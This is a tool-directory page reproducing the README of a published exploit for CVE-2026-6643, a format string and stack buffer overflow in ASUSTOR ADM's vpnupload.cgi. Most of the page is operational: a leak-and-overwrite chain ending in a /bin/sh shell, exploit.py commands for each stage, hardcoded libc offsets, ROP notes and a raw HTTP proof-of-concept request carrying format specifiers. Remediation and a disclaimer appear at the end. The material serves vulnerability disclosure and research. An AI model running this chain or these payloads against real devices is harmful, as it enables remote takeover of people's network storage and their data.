Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi Format String & Stack Buffer Overflow RCE (CVE-2026-6643) | Kitploit
Tools/GitHubGitHub/mlgzackfly/cve-2026-6643
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubmlgzackfly/cve-2026-6643

CVE-2026-6643

ASUSTOR ADM 5.1.2 vpnupload.cgi Format String & Stack Buffer Overflow RCE (CVE-2026-6643)

View Repository
115 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-6643 — ASUSTOR ADM 5.1.2 RCE

Format String (CWE-134) + Stack Buffer Overflow (CWE-121) in vpnupload.cgi

Vulnerability Summary

FieldValue
ProductASUSTOR ADM (ASUSTOR Data Master)
Affected VersionADM 5.1.2.REO1 (X64_G3, 2026-02-25)
Component/portal/apis/settings/vpnupload.cgi — upload_wireguard action
Vulnerability TypeCWE-134 Format String / CWE-121 Stack Buffer Overflow
SeverityHigh
Auth RequiredYes (valid Revive_Session cookie)
Discovery Date2026-03-14

Vulnerability Details

Vulnerability A — Format String (CWE-134)

The upload_wireguard handler parses a WireGuard config file, assembles the fields into a JSON object, then passes the result directly as the format string argument to printf():

pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

An attacker can embed printf format specifiers in any WireGuard config field:

  • %x / %p — read stack memory (information leak)
  • %n — write to arbitrary memory (code execution via GOT overwrite)

Vulnerability B — Stack Buffer Overflow (CWE-121)

The same handler uses unbounded sscanf("%s") to copy config values into 300-byte stack buffers, while fgets accepts up to 32,768 bytes per line:

__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

Supplying more than 300 bytes overflows into adjacent buffers. At 4,000 bytes the saved RIP is corrupted, causing SIGSEGV.

Binary Mitigations

ProtectionStatusImpact
FORTIFY_SOURCEDisabledprintf (not __printf_chk) — %n write works
Stack CanaryDisabledNo canary leak required
PIEDisabledGOT and gadget addresses are static
RELROPartialGOT is writable

Exploitation Chain

Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

Why Endpoint Is the Best Overflow Target

local_164 (the Endpoint buffer) sits at rbp-0x164, the closest of the eight buffers to the saved return address:

Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

Null Byte Bypass

sscanf("%s") stops copying at a null byte. A libc address (0x7f...) in little-endian ends with two null bytes. However, the upper two bytes of any saved RIP already hold 0x0000, so the write lands correctly even though sscanf terminates early:

one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

All intermediate ROP gadgets must also come from libc (0x7f... range) to avoid embedded null bytes. Only the final value in the chain may terminate with nulls.

Requirements

uv add requests

Usage

Step 1 — Detect format string argument offset

uv run exploit.py <host:port> '<cookie>' --stage offset

Example output:

[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

Step 2 — Leak libc base

uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

Example output:

[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

Identify the symbol and compute libc base:

readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

Step 3 — RCE

# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

Step 4 — Run commands (after GOT overwrite)

uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

Obtaining libc Offsets

Extract libc.so.6 from the firmware image, then run:

# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

Update the constants in exploit.py:

LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

Proof of Concept

Format String Leak

POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

Note: Two multipart sections are required. The parser uses a boundary counter; sscanf parsing activates only on the second section.

Response (clientprivatekey field):

AAAA_feebd19f_0000012b_0000007d_00000002

Stack Buffer Overflow (crash)

Set PrivateKey to 4,000 bytes → SIGSEGV (exit code 139).

Remediation

VulnerabilityFix
Format StringReplace printf(pcVar2) with printf("%s", pcVar2) or fputs(pcVar2, stdout)
Buffer OverflowAdd length limits to all sscanf format strings (e.g. %299s for 300-byte buffers)

Test Environment

  • Firmware: X64_G3_5.1.2.REO1.img — vpnupload.cgi extracted from image
  • Platform: x86-64 Linux, using the firmware's own ld-linux and shared libraries
  • Auth bypass: single-byte patch je → jmp at offset 0x1224 (local testing only)

References

  • Research Article: https://blog.mlgzackfly.tw/cve-2026-6643/

Disclaimer

This exploit is provided for security research and authorized testing only. Do not use against systems without explicit permission.

Download Tool